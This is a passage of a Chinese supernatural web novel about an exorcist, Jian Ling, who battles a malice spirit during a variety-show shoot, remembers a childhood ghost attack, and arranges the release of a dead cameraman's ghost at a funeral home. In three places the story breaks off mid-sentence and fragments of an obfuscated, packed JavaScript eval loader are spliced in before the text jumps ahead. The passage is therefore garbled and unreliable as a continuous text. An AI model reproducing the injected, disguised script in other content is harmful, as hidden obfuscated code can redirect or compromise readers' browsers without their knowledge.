秦雨宁走了过来，又把刚才他们录节目时的情况简单地说了一遍，担忧地看着井善：“过完剧情后，我和琴琴捡到钥匙准备去开床下的暗道，就是在那时发现井善昏迷不醒的。” 简灵扫视一遍，可井善身上没有任何鬼怪的气息，突然瞥见他的工装裤口袋露出一抹淡黄色。 她挑开口袋，是自己之前给他们的防止被鬼上身的符箓。 “他身上没有异样的气息，况且有我的符在身，不会是中邪。”简灵用两根手指夹出符箓，“我建议还是尽早送医院为好。” 郭明：…… 一时间竟不知道生病和撞邪哪个更幸运。 把井善送上了救护车，简灵走出屋子，看到站在院子中唉声叹气的郭明，现在不仅节目的最后一期暂时拍不成了，可能还要面临井善经纪公司的起诉。 “郭导，那我们这……还拍吗？” 扮演村长的工作人员走上去问他，这大热天的，录制节目被一而再再而三的叫停，谁都不好受。 郭明颓废仰天：“老天啊，如果你要惩罚我，也别搞黄我的节目好不好？你打个雷劈死我算了！” “轰隆——” 平地一声惊雷，把所有人都吓得一哆嗦。 明明上一秒还艳阳高照，下一秒刘家村的头顶上迅速积起了一大图黑云，乌压压一片，几乎想把整个刘家村压在底下。 “咦？要下暴雨了？”夏琴琴从屋里探头出来，“夏天真烦人，又热又暴雨的。” 秦雨宁安慰道：“没事，走暴而已，下一会儿就停了。” “……不对。” 简灵突然皱起眉头，一股罕见的气息在刘家村中弥漫开来，乌云的阴影中，蒙上了一层若有若无的薄雾。 “怎么回事？”秦雨宁也是亲身经历过的，立刻意识到氛围有些不对劲，拉着夏琴琴往简灵身边靠拢。 简灵眨了下眼，目之所及的色彩立刻如潮水般褪去，而薄雾中异常浓黑的东西从四面八方飘过来，往院子中心汇去。 “不好——”简灵朝前一个俯冲，“郭导小心！” 郭明还没反应过来，胳膊就已经被简灵一把抓住，一个一百六七十斤的大男人被她轻松拽至身后，随即一掌拍向面前的村长。 前一刻的村长还是在小心询 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“恶意是由人的内心生出的一种东西，是心里最阴暗、最恶毒的那一部分，一般人都能天然压制住自己绝大部分的恶意，但井善……”简灵摊了摊手。 结合刚才陈小志说的所谓“被反噬”，她立刻想到一种情况，但此时也来不及细想了，得先解决目前的情况。 中年男演员猛然反应过来，瞠目结舌：“你的意思是刚才那些话是井善心里的想法？他骂我指导他演戏？？” “？”秦雨宁也愣了下，气呼呼道，“说我丑女人？？” “肯定不是说的雨宁姐，应该说的是我吧……”夏琴琴弱弱地举起手。 郭明也一脸震惊：“他平时这么礼貌但心里瞧不起我？觉得我是小导演？还有老王！你刚才是不是骂我傻逼来着？” 刚刚恢复过来的村长：“……？” 冤枉啊！ 老王欲哭无泪，他根本不记得刚才自己干了什么。 8. 你选谁不好 “冷静点！”简灵打断大家，“恶意是放大的情绪，谁都在心里骂过老板同事，都有生气想杀人的时候但不会真的动手对吧，哈哈……” 她赶紧转移话题：“它不是妖魔鬼怪，如果刻意隐藏起来很难察觉到……所以我的符也没啥用，井善的昏迷也跟它有关。” “那这东西能对付吗？” “能。”简灵言简意赅，“但这正是最麻烦的事情，恶意可能钻进每个人的心中挖掘出最黑暗的部分，如果不及时抓到它……受到影响的人不知道会做出什么事来。” 此话一出，周围的人脸色都变了，互相远离三米远，生怕旁边的人被恶意吃了脑子，突然动起手来。 “那我们岂不是都有可能……”夏琴琴快要哭了，她本就是嘉宾组里年纪最小的新人，头一次参加综艺就遇到这种事情。 秦雨宁安抚地摸摸她的头发：“别怕，简灵很厉害的。” 不过此事对简灵来说也有些棘手，在村内扮演NPC的工作人员可不少，再加上几位嘉宾……咦？ 她灵机一动，问郭明：“你还想拍最后一期吗？” 郭明颓然：“想有什么用……都闹这出了。” “它把舞美都给你做好了。”简灵笑着环视一周，村内现在的雾气更加诡异，“还有恶意那个天然反派角色……既然它让我们去找它，不如将计就计，陪它拍下去。” 现在也没什么别的办法，有这片黑雾在他们谁都不能出去，嘉宾们只能接受这个现实，倒是秦雨宁反而有些兴奋，跃跃欲试。 郭明按简灵的要求跟外面的人联系上，确认了自身安全，让他们暂时不要进村里。 接着后续的剧情，井善直接改了设定，当成被反派村长陷害昏迷了过去所以不再出镜，A组和B组成功会合后继续去寻找刘七的下落，并且最终目标是抓到村长，解救井善。 他们此时都从床后的入口进入了地下密道，里面漆黑一片，几人撞着胆子解开谜题后终于亮起了几盏幽幽的灯光。 地下密室里竟然是一个旧矿场的入口。 原来刘家村陆续失踪的那些人竟然都是被村长抓进了矿场，没日没夜地挖矿，在这暗无天日的地下矿场，所有逃不出去的人都越来越恍惚木然，成了毫无生气的挖矿工人。 “啧啧，这哪叫刘家村，应该叫《逃离牛马村》。”简灵和郭明也跟着进入了密道，不远不近地跟在嘉宾们的身后，尽量避免与他们同框。 郭明收到了外面的消息，村里的录像设备都正常运转，放心了一些：“不知道后期剪辑会不会被吓到。” “恶意只能控制人心，影响不了这些现代的设备，所以摄像头都是正常运作的。”简灵轻声解释着，“录下来的影像不会有异样，至于黑雾和人身上的黑影完全可以当特效嘛，你还省了一笔特效钱。” 但郭明已经满脑子都是修改剧本的事，嘀嘀咕咕道：“现在一个悬疑剧本完全被改成了玄幻剧本，如果要利用起被恶意附身这个元素，最好是得加一个世外高人NPC去帮忙。” 简灵：……你说的最好不是我。 一行人很快来到一个三面都是镜子的小厅，幽暗的灯光亮起，吓了大家一跳。 这个空间唯一一面没有镜子的墙壁上，满是带血的抓痕，还有类似撞墙的血痕，镜子上也被画得到处都是红色痕迹，不知是血还是颜料。 简灵悄悄问郭明：“等会儿镜子里是不是会出现吓人的东西？” “呃，你怎么知道？” “都这么演的。” 郭明一时惆怅，难道自己的剧本真这么俗气吗？ “安心啦。”简灵瞧了他一眼，笑道，“虽然都这么演，但观众依然吃这一套啊。” 果不其然，镜子里突然出现骇人的影像，都是过去被关在这里的那些可怜人，村长将那些不愿屈服的人都关在这里，偶尔送点水食，在暗无天日的地下有人最终妥协，有人逐渐变成了疯子。 虽然影像有些吓人，但都看出了暗藏玄机，几人在惊吓过后稍微靠近了些，开始商量着解谜。 拿到密码后，秦雨宁刚准备去开锁，忽然短促地叫了一声：“啊！” “怎么了！” 只见秦雨宁忽然捂着自己的脸，慌张地看着镜子：“我去！我怎么变这么老了？！好多皱纹……怎么这么难看啊！” 简灵拧眉看去，可镜子里就只是映照出她现在的样子，没有任何变化。 她低声说：“出现了。” 郭明立刻紧张起来：“是、是附身在了雨宁身上吗？” “不。”简灵摇摇头，“看起来只是都受到了影响，所以从镜子里看到了自己最害怕的事情。” 不过简灵倒不是很担心，恶意隐藏起来很容易，但真要控制起人来就必然会被发现。 她还有心思跟郭明打赌：“只要心智成熟坚定，很容易就发现问题了，所以你猜谁会是陷得最深的那个？我猜是老杨哥。” 老杨哥就是那位年纪和资历都最大的男演员，仿佛是为了凸显自己的亲民度，他让节目组的人都这么叫自己。 “老杨哥不会吧？”郭明还真仔细想了想，迟疑片刻：“可能是夏琴琴吧？毕竟她年纪最小，入圈时间短，心志估计还不稳定，咱们这圈子啊……确实浑。” 这边刚说两句，夏琴琴也中招了。 她的五官都委屈地挤成了一团，泪眼汪汪地看着镜子，声音哽咽：“粉丝们为什么都不喜欢我了，我很努力地在学了……每天都跳十几个小时，舞蹈老师还不满意……” 突然她猛地后退两步，拍拍脸颊试图给自己打气：“夏琴琴不会输的！那么多人都在爱着我，一定会更红！” 简灵看向愣住的郭明，他无奈地笑了笑：“年轻真有劲儿。” 另一个男嘉宾是位创作型歌手，他也只是短暂地陷入了自己写不出歌的恐惧之中，很快就脱离了。 反而是老杨哥全程呆愣地看着镜子，最后一步步朝镜子走去，满脸悲怆：“我再也不演烂本子了，也不投资烂本子了，对不起，我对不起大家……” 他一头撞上镜子，不住地流泪，可面目逐渐狰狞，整个人散发着无尽的怒气，一拳一拳朝镜子砸去，旁边几人都不敢上去拉他。 “诶诶！他这是真被影响了？！”郭明一时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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影像结束，简灵依然不为所动。 这下恶意真的慌了，它的声音在简灵的心底响起：“不可能！怎么操控不了你！” “在我面前玩这些小把戏……”简灵垂眸，声音很轻，发尾和衣角无风自动，浑身散发出冰冷的气息。 “你、你是什么人？！” 恶意吓得想要逃出简灵的身体，却发现自己才是被控制的那一个，无论如何也逃不开，越来越无力，那是一股来自于简灵身体里绝对的力量压制。 简灵冷笑，拔出头上的簪子，往手臂疤痕上狠狠一划：“我是你祖宗！” 凄厉的喊声响彻镜子厅，恶意从简灵的伤口中源源不断地挣扎而出，却有一股无形的力量让它无法挣脱。 简灵的血仿佛来自地府的火焰，灼烧着那团黑色雾气。 很快整个镜子房间里安静下来。 她任凭伤口流着血，背靠着镜子缓缓坐在地上，叹了口气：“这玩意儿怎么这么厉害。” 9. 必须学的理由 没有了恶意的影响，后续的剧情走的很顺利，嘉宾们很快就找到了罪魁祸首的村长，一举拿下，顺利逃脱刘家村。 而简灵已经让医护人员帮忙包扎好了伤口，坐在外面休息，等着他们录完收工。 陈小志好奇：“所以是那个井善变成鬼了吗？” 简灵摇头：“人心都有恶意，他的恶意之所以没有被压制住，反而凝聚成形出来作恶，是因为你刚才说的‘反噬’。” 她指着不远处的几位嘉宾，淡淡道：“明星们受到粉丝的喜爱甚至崇拜，这部分能量是一把双刃剑。喜欢的时候是正面影响，也就是大家常说的‘红气养人’，而井善出了花边新闻后声誉一落千丈，喜爱也变成了憎恶。” “哦……我懂了，双刃剑就给了他一下，扎得他崩溃了。” 一旁的谢慈蹙眉看她，目光落在了她的手臂上：“简灵，你手臂上的伤是从何而来？” “自己划的，那恶意找上我了，算它倒霉。”简灵睁开眼睛嘿嘿一笑。 谢慈摇了摇头：“我问的是原本那个旧的。” “这个啊。”简灵哦了一声，抬起手臂晃了晃，“小时候被鬼抓的。” “小时候？我咋记得你之前那个疤看着像新的。”陈小志咂舌，“你自己划的还能沿着旧伤划，下手真狠啊。” 谢慈刚才亲眼盯着她包扎的，旧伤疤上又叠了新伤……虽说是旧伤，但看疤痕也就这两年的事。 但简灵笑着摇摇头，闭上了眼睛假装闭目养神，不再继续这个话题。 …… “师傅，这么晚了我们要去哪呀？” 八岁的简灵跟着师傅推开院门，外面一片漆黑，今夜的路灯不晓得怎么回事居然全坏了，仅有几盏还忽闪忽闪的。 “去捉恶鬼。” “啊！”小简灵立刻撒开师傅的手，转身就想往家里跑，“我不去！” 师傅长手一捞，将她牢牢制住，拉着她继续往前走。 “我不去我不去！我跟小佳约好了明早去摘草莓的！”小简灵挣扎着，可怎么也脱不开师傅的手，可怜兮兮地抬头恳求她。 师傅淡淡拒绝：“你必须去。” 小简灵生气得很，泪眼汪汪，硬憋着没有哭出来：“为什么非要我学捉鬼啊，我真的不想学，这么冷这么黑，我太害怕了…鬼好吓人…” “你奶奶将你托付给我，就得学。” “可奶奶后来也说我不想学就可以不学！” “我没听到。” “就是她走的时候……” “简灵！” 师傅的语气加重：“你必须学。” 小简灵感觉师傅捏住自己手臂的劲儿明显加重了，抿了抿嘴，满脸倔强：“我就不！” “那你自己回去吧。”师傅意外地松开手，小简灵一愣，飞快转身就想跑，可身后已经离家有一段路了，今夜的镇上漆黑一片，她能看见那些隐没在黑暗中的东西，正在她们周围蠢蠢欲动。 她咽了下口水。 太讨厌自己了，为什么天生能看到鬼啊？有没有问过她愿不愿意！ 小简灵委屈地扁了扁嘴，不自觉地拉住师傅的手，往她身上靠了靠，只得跟着她继续走。 “师傅，我为什么会有这个什么…阴差印记啊？” “因为只有你们简家才有。” “爸爸妈妈就没有啊，我们家只有奶奶有吧。” “阴差印记藏在血液里，不一定百分之百继承。” “那我也太倒霉了吧。”小简灵恹恹垂头，“小佳放寒假都可以休息，我放寒假只能跟师傅去学捉鬼。” 师傅“嗯”了一声：“的确倒霉。” 她家所在的是个富庶的江南小镇，也许是因为今天的路灯都坏了，只有月光高悬还能看得清路，平时晚上虽很少有人出行，但也不至于像现在这么安静。 安静到有些诡异。 小简灵的直觉令她感到不安：“师傅，我们要去……” 师傅倏地停下脚步，她冷不丁撞到师傅身上，抬头一看：“这不是小佳的家么……” 她几乎天天来这里找小佳玩，对这幢小楼再熟悉不过，而此时上空正笼罩着一层浓郁的黑红之雾，空气中传来不可忽视的血腥味。 “不好！”师傅大惊，夹着小简灵从小院的围墙一跃而上，两人顿时被更加浓烈的血腥味包围。 体质特殊的小简灵比师傅的感知力还要灵敏，顷刻间汗毛竖起，阴冷之气从四面八方蔓延过来……她的心脏狂跳不止，大口大口地呼吸着，感觉快要窒息。 几乎是一瞬间，小简灵眼中的世界变了。 月光下的小院在她的眼中无所遁形，每一颗草木、每一张椅子都看得清清楚楚，更能看清那几个横七竖八躺在院子中的……人，也可能是尸体。 冒着血色红雾状似人形的鬼影缓缓转身，正面还滴淌着血，从尸体上溢出的黑红之气正源源不断地涌向恶鬼。 发现活口的恶鬼咧开空洞的嘴，闪身上前！ “躲好！” 师傅伸手将她向后推去，自己冲向恶鬼！ 院中的鬼影把师傅团团围住，一时间符光与血光交错，可小简灵脑中一片空白，颤抖着双腿跪坐在地上，喉中堵塞，一点声音都发不出来。 她艰难地转动视角，猛然间发现从小楼的一侧竟然还有一个活动的身影。 是小佳！ 小佳连滚带爬地从小楼另一侧跑出来，头也不敢回，在与小简灵的视线对上之后，两个小朋友同时看到对方的眼中迸发出希望的光。 动啊！ 腿快动啊！ 不知道从哪生出来的力量，小简灵猛地捶打了一下自己的腿，从地上爬了起来，大气都不敢出一口，沿着小佳妈妈种的杜鹃花丛摸到墙边，朝她狂奔而去！ 混杂着血腥味的风从两旁掠过，小简灵顾不上师傅那边的情况，埋头冲到小佳面前，抓住她的手臂就往回跑！ “小佳别怕！我来救你了！”她呼哧呼哧地喘着气，脚下一步都不敢停，“师傅很厉害的！她会把我们都救出去！” 身后的小佳一点声音都没有，反而是不远处的师傅朝她大喊一声：“简灵！放手！” “什么？” 小简灵愣了一下，忽然感觉到她手上拉着的小佳越来越轻，跟拉扯一颗气球没有什么区别。 她猛然回头，身后的小佳半个身子都已经虚化成了黑红的血雾，眼中几乎看不到眼白了，却仍然满脸惊恐，一只手还被自己牢牢抓着。 仿佛感受到了玩伴的恐惧，小佳反手抓住她的手臂，大声哭喊着：“阿灵救救我——阿灵，我好痛啊……我好害怕……” 血雾蔓延至小佳的胸前，逐渐淹没了她的肩膀、脖颈，快要将她完全吞噬。 小简灵感觉自己的喉咙像被死死掐住，一个字也说不出来，颤抖的双腿在努力地向后退。 可手臂还被小佳抓着，她不知道该怎么推开。 “小…小佳……” 听到声音的小佳更激动了，一时间血雾像爆炸般快速蔓延，小简灵无法控制自己的身体，幸好师傅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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工作人员摇摇头：“这些都是没用上的，先搬回去。” 简灵扭头跟郭明申请：“郭导，借我几根蜡烛呗。” “行啊，你要蜡烛干啥？” “超度。” 在场的人还真都没见过超度亡魂的，不约而同地停下手中事务跑来围观。 只见简灵抱了一把蜡烛，在空地上摆了个阵，对着身旁的空气说：“站进去。” 陈小志依言站好，挠了挠头：“活着的时候都没被这么多明星围观过……还怪不好意思的。” “是吧，现在你是大明星了。” 诡异的对话让大家有点起鸡皮疙瘩，有胆大的凑到谢慈旁边问：“她在跟谁说话啊？” 谢慈：“怨鬼。” 众人吓了一跳，但还是止不住的好奇心，硬着头皮留下来看。 简灵在自己的包里翻了翻，拿出一根巴掌长的东西，翻折几下就成了一根……拂尘？ “这玩意儿还能这么收纳？？” “三折叠。”简灵嘿嘿一笑，“方便吧！” 秦雨宁无奈：“你那稀奇古怪的小玩意儿怎么这么多。” 一切准备就绪，简灵盘腿坐在阵前开始起诵，今夜月朗星稀，时间正好，是个超度的好时候。 众人屏气凝神，只听得见简灵念诵的声音，陈小志也很紧张，手中玩把着自己羽绒服的拉链，被困那么久，终于可以离开这个破地方了。 自己一定要狠狠喝上五大碗孟婆汤，忘记这操蛋的一世。 念诵声戛然而止，简灵握着拂尘轻轻一挥，地上一圈蜡烛骤然全灭。 “咦？” 简灵睁开眼，疑惑地看到满脸希冀的陈小志还好好的站在面前：“长明灯怎么灭了？” 她摸了摸下巴，思索片刻：“陈小志，你的遗体好像还没下葬诶？” 10. 平安殡仪馆 “啊？？” 陈小志惊掉了下巴，自己少说也死了有两三年了，遗体怎么会还在？ 简灵摇了摇头：“很遗憾，遗体没有被妥善安葬或者火化，就得在遗体附近超度，你知道你的遗体在什么地方么？” “不知道。” “那你还记不记得家里人的联系方式？父母亲戚啊，我可以可以问问。” 陈小志茫然摇头：“我父母早就去世了，我一直是一个人生活。” “那就麻烦了。”简灵叹了口气，爬起来拍拍身上的灰，“估计是无人认领，给你寄存在哪儿了。” 秦雨宁惊讶：“寄存什么？遗体吗？” “是的。”简灵又吭哧吭哧把蜡烛收了起来，看来今天是超度不了了。 她问郭明这几年有没有在影城猝死的摄影师，可郭明也不是天天都来这个影城工作，只能帮忙打听一下。 “还有啥线索不？”郭明翻着通讯录找人脉。 简灵看了一要穿着羽绒服的陈小志：“应该是冬天死的。” “肯定是。”陈小志双手抱胸搓了搓手臂，“我还时不时哆嗦呢，看你们一个个穿短袖短裤都觉得冷。” 郭明打了两个电话，询问了影城相关工作的朋友，还真给他问到了。 他拿着刚刚收到的资料给简灵看：“陈小志，三年前的腊月二十八猝死于一个短剧制作组，因为在工作期间当场死亡所以制作组还向家属赔了几十万……” “等等。”简灵打断他，“陈小志说他父母双亡一直都是一个人，哪来的家属？” “我看看啊……”郭明往下翻了翻，“说是一个表哥。” 陈小志一脸茫然，他都没听说过有什么表哥。 “但当时好像那个表哥并没有出面，只让医院把遗体送到殡仪馆……说是四久山那边一个叫''平安殡仪馆''的。” 简灵闻言眉毛一挑：“平安啊？” “你知道？” 她摸出手机点了点，拨通了一个电话：“干我们这行的那不得有点人脉么，就是这个时间点了……有点危险。” “怎么说？”郭明紧张地问道，“难道那个殡仪馆里有什么东西……” 电话响了好几声才接通，只听见那头传来一个冷冰冰的吼声，怒意穿透手机，叫人汗毛直立： “现在马上凌晨12点，你最好是有急事，不然就把你塞进尸体冷冻柜里！” 简灵一副“你看吧”的表情，耸了耸肩：“招芙姐别生气，急事，真急事。” 她赶紧长话短说把陈小志的事情告诉对方，半晌对面查完资料，给了她肯定的答复：“是有个叫陈小志的，停在我们这儿三年多了，家属没签火化单。” “行，那我明天去一趟啊给你带好吃的，晚安晚安。” 说着她迅速挂了电话，不给对面骂自己的机会。 “难怪他觉得冷呢，原来遗体被冻着呢，看来明天还是得跑一趟。” “四久山离这边更近，今晚你就别回去了，跟我们在酒店凑合休息一下吧。”秦雨宁心疼她冒出的黑眼圈，建议道。 简灵伸了个大懒腰，疲惫地靠在椅背上：“心累，又要加班了。” “对不起啊，都是我……”陈小志有些内疚。 看到他茫然无措的样子，简灵顿了顿，安慰道：“明天去问问怎么回事，放心，一定给你超度了。” 找郭明要了个套房，简灵把两只鬼放在客厅看电视，自己则去洗漱了下，换了身秦雨宁给她的T恤和运动裤。 出来时俩人都盘腿坐在地上，陈小志正在给谢慈介绍自己生前的“大作”。 “你看这个男女主同框的镜头，当时导演就一直强调要有那种两两对撞的冲击感，要突出他们立场不同的对立感！”陈小志伸手比划了个框，手舞足蹈，“我就把男女主放在这两个位置，你看看，是不是有那种氛围？” 谢慈一本正经地点头：“的确是很美，像一幅画，而画中这两位在诉说着自己的故事。” “哎呀谢慈姐，谢慈姑奶奶！”陈小志激动地拍大腿，“你太懂我了，我俩就是当代伯牙子期！高山流水觅知音啊！” 简灵笑着摇了摇头，悄声进了卧室，沾枕就睡。 …… 或许是太久没有回想起那些事情，简灵久违地又梦见了小佳。 梦里的小佳惊声哭喊，幼小的双手已经化为血雾，指甲抠住简灵的胳膊不断地摇晃着。 “为什么不救我？” “我好痛啊——” “我不想死呜呜呜……” “灵灵，我讨厌你！” “——小佳！” 简灵从梦魇中惊醒，猛地坐起，冷汗已经沾湿了枕头。 她伸手覆上疼痛的胳膊，昨晚缠好的绷带被她在梦里撕了个稀巴烂，伤口又溢出鲜血。 生怕血迹沾到床上，到时候别吓坏了换洗的员工，她赶紧跳下床重新包扎好伤口，又快速盘了个丸子头，把那根桃木簪随意地插进丸子里，露出尖尖的一点红色朱砂。 秦雨宁一早就发了消息，说自己赶通告先走了，她也收好手机招呼他们准备出门。 “走吧，别看了。” 客厅那俩看了一晚上电视，居然还津津有味。 “那你记得把后面几集看完啊，挺不错的这部剧。”陈小志恋恋不舍地咂舌，他是没机会再给谢慈讲解了。 谢慈点点头：“你拍的这么好，我一定会看完的。” “其实也不能说是我拍的……”陈小志挠了挠头，怪不好意思。 简灵拍拍他的肩膀，笑道：“放心，我陪她一起看，代你给她讲解。” “大师…你们真好……要不我陪你们看完再走吧！” 他都快感动哭了，被简灵一巴掌拍醒：“想不想投胎了，别耽误我下班。” 简灵一拉开房门，突然有什么东西朝着她的脸袭来，她眼疾手快一把抓住钳在手中！ “诶疼疼疼……师傅！疼！” 一个熟悉的面孔出现在她房门前，居然是前几天才见过的苏靖希？！ “谁是你师傅。”简灵拍开他的手，“谁对师傅一见面就动手？” 苏靖希满面愁容地揉着手腕：“我这不是正好要敲门嘛……早上在电梯里遇到雨宁姐了，她说师傅你应该还没出发，没想到真的在！” 他伸头探脑地往简灵身后一瞧，看到陈小志那双没有瞳仁的眼睛时不由得哆嗦了下：“……哟，这么多人呢。” “很可惜。”简灵冷笑一声，“房间里没有一个人。” 苏靖希打了个冷颤，讪笑道：“哈哈……师傅你真会开玩笑……对了，你们这是要去哪儿啊，我能一起去吗？” “不能。” “你看你胳膊都受伤了，多不方便呀，我可以帮 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“想象力还挺丰富。”简灵摊手，“很可惜，我们只是去找他的遗体，然后今晚子时帮他超度了。” 苏靖希“哦”了一声，猛然察觉到她在说什么：“子时……的意思就是咱们要在这待到半夜啊？” “过夜也行。” 过夜也不行吧！！ 苏靖希内心崩溃，欲哭无泪，可惜为时太晚，前方已经看到了平安殡仪馆的招牌，还挂着两盏白澄澄的大灯笼……现在是无法回头了。 平安殡仪馆面积不大，外面看起来也有点破烂，只不过沾了四久山公墓的光，当年政府设立市殡仪馆的时候也顺便收拢整改了四久山附近所有的小殡仪馆，所以平安也算吃上了公粮。 一下车，简灵熟门熟路地推开门：“招芙姐～招芙姐你在不？” 两鬼一人跟在她身后，都是第一次来这种地方，不禁好奇地到处张望。对苏靖希这个人类来说整个馆内都很凉爽，倒也没想象中的那么阴森可怕。 “叫魂呢！”暴躁的声音从另一间传来，一个穿着卫衣的短发女人走出来，不悦地看了一眼几人，“怎么这么多人，要烧谁？” 那眼神像是在挑货架上宰好的羊，准备挑一个拉去烤了似的。 简灵已经习惯了，嬉皮笑脸地蹦到她身边：“就我昨晚跟你说的那个，陈小志，遗体找到了么？” “在呢。”林招芙带他们进了办公室，调出陈小志的个人资料，“不过很遗憾，烧不了，我们又打了陈小志的家属电话，对方依然推脱说没空来。” 据林招芙的说法，陈小志的这个表哥是在他死后突然冒出来的，完全是为了领赔偿金，可当年那个剧组说好的赔款只打了一部分，剩下的迟迟不给，他表哥怕烧了遗体后更拿不到钱了，于是就一拖再拖。 苏靖希好奇：“遗体可以在你们这儿放这么久啊？都三年多了。” “说你们男人见识短呢。”林招芙瞥了他一眼，“我们这放得最久的遗体都已经十年了。” “为何十年了都不能火化？”谢慈皱眉，她理解的殡仪馆就是义庄，“是无人认领的尸身么？” 林招芙将资料往桌上一甩，冷笑道：“无人认领倒还能处理，那些停放的，哪个不是家里破事一堆，造孽。” 11. 少了一具遗体 “家家有本难念的经。”简灵摇头晃脑，大咧咧往桌子上一坐，“争遗产的，打官司的，反正就是不想那么早处理，所以让他们都冻着呗。” 谢慈虽不知现在怎么能冻这么久不腐坏，仍不赞同地摇了摇头：“死者为大，再怎么说也该叫他们早日安息。” “他们才不管呢。”林昭芙冷哼，“就跟陈小志那个表哥一样，生前都没关心过一句，死后要钱比谁都积极——现在怎么说？那个陈小志鬼魂先生，要去看一眼你自己吗？” 林昭芙对着空气胡乱问道，她看不到鬼，只能由简灵他们转达。 “你怎么说？”简灵轻声问道。 陈小志犹豫片刻，拒绝了：“不看了吧，都死三年多了肯定很丑，本来我长得也不怎么好看。” “这是重点吗！”苏靖希吐槽，“重点是你的遗体应该早日火化吧，你也赶紧好去投胎！” 不过简灵还是严谨地告知了超度相关情况：“这个问题不大，不火化也能超度，看你自己要不要解决你那个表哥，毕竟他不仅不让火化下葬，还拿了你两万块的赔偿费呢，剩下的那个剧组以后也还会赔给他。” “……要不算了，拿就拿了吧。”陈小志纠结了一会儿，“这些钱我要着也没啥用，至于遗体……反正我转世投胎去了，这个世界上就没有陈小志了。” 办公室里沉默了，都看得出陈小志也是真没招了，虽有遗憾，但也不再留恋。 突然苏靖希问了一句：“他那个剧组是哪个来着？” 林昭芙看了一眼资料：“是一个叫《重生归来，校花为我倾倒》的短剧剧组，导演是这个人。” 说完她忍不住皱起眉头，嫌恶地啐了一声：“什么玩意儿。” “诶，是他啊。”苏靖希扫了一眼，轻轻锤了下手掌，“他已经进去了，这个公司的负责人也进去了，后续肯定没得赔。” “进去了？”几人异口同声。 原来这个短剧公司在陈小志猝死后还引发了一段时间的热议，很多人曝光了他们拖欠工资、强制加班、甚至还有逼迫女演员穿着暴露的问题，陷入舆论危机。 一时间导演和投资人互相甩锅扔屎，都被扒出了各自的脏事丑事，最后齐齐进局子。 “据说赔得裤子都不剩，去年就进去了。”苏靖希摊手。 “行，那我再打个电话给他说一下，还是让他赶紧点头同意火化，别在这儿占位置。”林昭芙拿起电话，“不过那两万块钱真就便宜他了？” “等等。” 简灵伸手按住她，问道：“陈小志，你想不想让那个不认识的表哥把钱吐出来？” “怎么吐？” 她从桌上跳下来，在储物柜里翻找着，半晌扒拉出来一小节黑乎乎的牛角。 “牛角香。”简灵嘴角勾起，露出一个坏笑，“能让怨鬼入梦。” 几人三下五除二定好了计划，让陈小志入表哥的梦吓唬吓唬他，接下来就等天黑了。 都说人在干坏事的时候是胆子最大的，就连苏靖希都不怎么怕了，甚至还兴致勃勃地对平安殡仪馆产生了浓厚的兴趣。 “诶，这位姐姐，你们每天守着殡仪馆和外面的公墓山，肯定有鬼啊什么的，不害怕吗？” 他在林昭芙对面坐下，好奇道。 林昭芙冷漠：“我命硬得很，人都弄不死我，更何况区区小鬼。” “牛！”苏靖希竖起大拇指，“那你们有遇到过什么吓人的怪事嘛？” 听到这句话，林昭芙忽然沉默了，她想了想，身体突然凑近了些：“怪事倒也不少，不过你觉得怎么才算吓人？” 苏靖希犹豫地摇摇头。 在一旁看热闹的谢慈冷笑一声：“就他那胆子，看到只老鼠都算吓人的。” “谢慈你不要小看人！”苏靖希打不过她，只能小发雷霆。 简灵笑出声：“苏靖希，那我问你，平安的冻库里一般都存放着几十具遗体，你觉得是多出来一具更吓人，还是少了一具更吓人啊？” “这……”苏靖希还真思考了一会儿，结巴道，“怎、怎么会问出这种问题，不管是哪一种都很恐怖吧喂！” 可林昭芙忽然收起笑意，看向简灵，无奈地吐槽了一句：“你这乌鸦嘴。” 简灵：“啊？” 只见她暴躁地拉开抽屉，拿出一摞文件资料摔在桌上：“本来想解决完陈小志的事再说的……烦死了！今早我找他时顺便清点了一下冻库里的数量，被你说中了，真的少了一具遗体。” 这话一出，整个办公室的温度都下降了几度。 正如苏靖希所说，不管是多一具还是少一具都很恐怖吧！ 他咽了下口水，小心翼翼地问：“少了的意思是……跑了吗？” “我也希望是自己跑了。”林昭芙面无表情，“诈尸是简灵的专业范畴，跑了也能让她给弄回来。” “那是丧尸或者僵尸，谢谢，不会。”简灵婉拒，“最近有没有人来办丧事？” “没有。” “会不会数错了？” “左毅也复查过不会错，丢的基本可以确认是个小姑娘……不过你们来之前他又去了冻库，说要一个个再核对一遍。” “小姑娘怎么死的？” 林昭芙张了张嘴，没吭声，眼神扫过苏靖希。 “——哦，我都忘了，后备箱里给你们带了一大堆零食没拿，苏靖希，你去拿一下。” 说完简灵还拍了拍陈小志：“你帮他一起。” 陈小志指着自己的鼻子：“啊？我啊？” 他伸手在桌子上挥了挥，鬼影从杯子文件电脑屏幕里丝滑穿过。 “呃……苏靖希害怕，你陪一下，快去！” “哦哦这样吗。”一人一鬼满脸茫然地出去了。 谢慈站在门边：“我需要回避吗？” “你不用，把门带上。”林昭芙从一堆资料里抽出一份来，递给她们，语气中带着一丝愤恨，“丢的是这个小姑娘，半年前送来的。” “怎么死的？” “不到16岁，难产。” 简灵接资料的手一顿，皱起眉头。 资料中的小姑娘叫陈欢仪，照片上的她看起来又瘦又小，头发稀疏发黄，眼神怯生生的，甚至不像十五六岁的模样。 “当时报案了吗？” “当然报了，这么大点的孩 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平安上一次办丧事还是三个月前，平时没生意的时候一般不会清点遗体，而监控记录一个月覆盖一次。 在简灵她们来之前，林昭芙已经通宵快速过完了监控，并没有什么发现。 “行，我刚进来的时候没感觉到什么异常，晚上再看看，而且苏靖希这小子体质特殊，说不定还能吸引……” 